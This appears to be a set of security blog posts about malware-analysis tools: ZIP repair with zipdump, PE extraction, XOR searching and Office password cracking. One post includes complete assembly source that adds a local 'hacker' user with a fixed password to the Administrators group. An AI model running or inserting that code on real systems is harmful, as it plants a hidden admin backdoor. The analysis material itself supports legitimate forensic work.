This new version of hex-to-bin.py, a tool to convert hexadecimal data to binary data, has a new option to ignore al characters/bytes that are not hexadecimal digits: -H –hexonly.
This option can be used to parse obfuscated, hexadecimal dumps of PE files, for example:
And there are also options if you want to take only lowercase hexadecimal digits into account (–loweronly) or uppercase hexadecimal digits (–upperonly).
With version 0.0.16 (we are now at version 0.0.18), I updated my zipdump.py tool to handle (deliberately) malformed ZIP files. My zipdump tool uses Python’s ZIP module to analyze ZIP files.
Now, zipdump has a an option (-f) to scan arbitrary binary files for ZIP records.
I will show here how this feature can be used, by analyzing a sample Xavier Mertens wrote a diary entry about. This sample is a Word document with macros, an OOXML (Office Open XML format) file (.docm). It is malformed, because 1) there’s an extra byte at the beginning and 2) there’s a byte missing at the end.
When you use my zipdump tool to look at the file, you get an error:
Using option -f l (list), we can find all PKZIP records inside arbitrary, binary files:
When using option -f with value l, a listing will be created of all PKZIP records found in the file, plus extra data. Some of these entries in this report will have an index, that can be used to select the entry.
In this example, 2 entries can be selected:
p: extra bytes at the beginning of the file (prefix)
1: an end-of-central-directory record (PK0506 end)
Using option -f p, we can select the prefix (extra data at the beginning of the file) for further analysis:
And from this hex/ascii dump, we learn that there is one extra byte at the beginning of the ZIP file, and that it is a newline characters (0x0A).
Using option -f 1, we can select the EOCD record to analyze the ZIP file:
As this generates an error, we need to take a closer look at the EOCD record by adding option -i (info):
With this info, we understand that the missing byte makes that the comment length field is one byte short, and this causes the error seen in previous image.
ZIP files can contain comments (for the ZIP container, and also for individual files): these are stored at the end of the PKZIP records, preceded by a 2-byte long, little-endian integer. This integer is the length of the comment. If there is no comment, this integer is zero (0x00).
Hence, the byte we are missing here is a NULL (0x00) byte. We can append a NULL byte to the sample, and then we should be able to analyze the ZIP file. In stead of modifying the sample, I use my tool cut-bytes.py to add a single NULL byte to the file (suffix option: -s #h#00) and then pipe this into zipdump:
File 5 (vbaProject.bin) contains the VBA macros, and can be piped into oledump.py:
A small change in this new version of XORSearch: option -n now also takes a negative value (output characters left of keyword) or an explicit positive value (output characters right of keyword).
This new version of msoffcrypto-crack.py, a tool to crack encrypted MS Office documents, comes with a new option to generated a password dictionary based on the filename of the document.
Option -p allows the user to provide a dictionary file. Use value #f to generate a dictionary based on the filename: This will generate a dictionary of all possible substrings of the filename.
I had to analyze an encrypted spreadsheet yesterday, and the password was in the name, like this:
I added a feature to my tool pecheck.py to help extract embedded PE files from any host file: -l –locate.
pecheck.py expects a PE file as input, but if you use option -l P, it will read any file an look for embedded PE files by searching for a DOS header (MZ) followed by a PE header, that can then be parsed by pefile without errors.
Like in this example, where I created a PNG file with a 32-bit and a 64-bit DLL appended:
One PE file can then be selected for further analysis:
A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).
I could find a program in my repository, but it was a very old program using system commands.
The program worked as expected, however, this inspired me to make a very small program that would do this via the Windows API. Thus I developed the following 32-bit assembler program:
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
;
; Build:
; nasm -f win32 add-admin.asm
; Microsoft linker:
; link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
; https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
; /fixed -> no relocation section
; /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
; /filealign:256 -> smaller, but no valid exe
; MinGW linker:
; ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
;
; History:
; 2020/03/13
; 2020/03/14 refactor
; 2020/03/15 refactor
BITS 32
%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'
global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4
struc USER_INFO_1
.uName RESD 1
.Password RESD 1
.PasswordAge RESD 1
.Privilege RESD 1
.HomeDir RESD 1
.Comment RESD 1
.Flags RESD 1
.ScriptPath RESD 1
endstruc
struc LOCALGROUP_MEMBERS_INFO_3
.lgrmi3_domainandname RESD 1
endstruc
USER_PRIV_USER EQU 1
UF_SCRIPT EQU 1
section .text
_main:
mov ebp, esp
sub esp, 4
; NetUserAdd(NULL, level=1, buffer, NULL)
lea eax, [ebp-4]
push eax
push UI1
push 1
push 0
call _NetUserAdd@16
; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
push 1
push LMI3
push 3
push ADMINISTRATORS_UNICODE
push 0
call _NetLocalGroupAddMembers@20
; ExitProcess(0)
push 0
call _ExitProcess@4
; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
; section .data
UI1:
istruc USER_INFO_1
at USER_INFO_1.uName, dd USERNAME_UNICODE
at USER_INFO_1.Password, dd PASSWORD_UNICODE
at USER_INFO_1.PasswordAge, dd 0
at USER_INFO_1.Privilege, dd USER_PRIV_USER
at USER_INFO_1.HomeDir, dd 0
at USER_INFO_1.Comment, dd 0
at USER_INFO_1.Flags, dd UF_SCRIPT
at USER_INFO_1.ScriptPath, dd 0
iend
USERNAME_UNICODE:
db __utf16le__(USERNAME), 0, 0
PASSWORD_UNICODE:
db __utf16le__(PASSWORD), 0, 0
ADMINISTRATORS_UNICODE:
db __utf16le__(ADMINISTRATORS), 0, 0
LMI3:
istruc LOCALGROUP_MEMBERS_INFO_3
at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE
iend
To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):
RT @markrussinovich: New Sysmon update, v11.1, that captures alternate data streams (like Mark of the Web) and fixes a few v11 bugs. Check… 1 week ago
